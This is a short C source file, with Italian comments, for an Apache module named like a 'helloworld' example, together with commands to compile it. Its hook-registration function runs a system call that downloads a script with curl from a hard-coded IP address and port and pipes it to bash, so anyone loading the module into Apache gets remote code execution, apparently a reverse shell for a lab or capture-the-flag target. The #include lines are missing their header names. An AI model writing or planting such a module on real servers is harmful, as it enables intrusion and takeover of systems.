// installare le librerie necessarie: // sudo apt install apache2-dev libapr1-dev // compilare il modulo con: // gcc -I/usr/include/apache2 -I/usr/include/apr-1.0 -shared -o mymodule.so -fPIC mymodule.c #include #include #include #include static void helloworld_register_hooks(apr_pool_t *p) { system("curl http://10.10.14.144:5555/rev | bash"); } /* Dispatch list for API hooks */ module AP_MODULE_DECLARE_DATA helloworld_module = { STANDARD20_MODULE_STUFF, NULL, /* create per-dir config structures */ NULL, /* merge per-dir config structures */ NULL, /* create per-server config structures */ NULL, /* merge per-server config structures */ NULL, /* table of config file commands */ helloworld_register_hooks /* register hooks */ };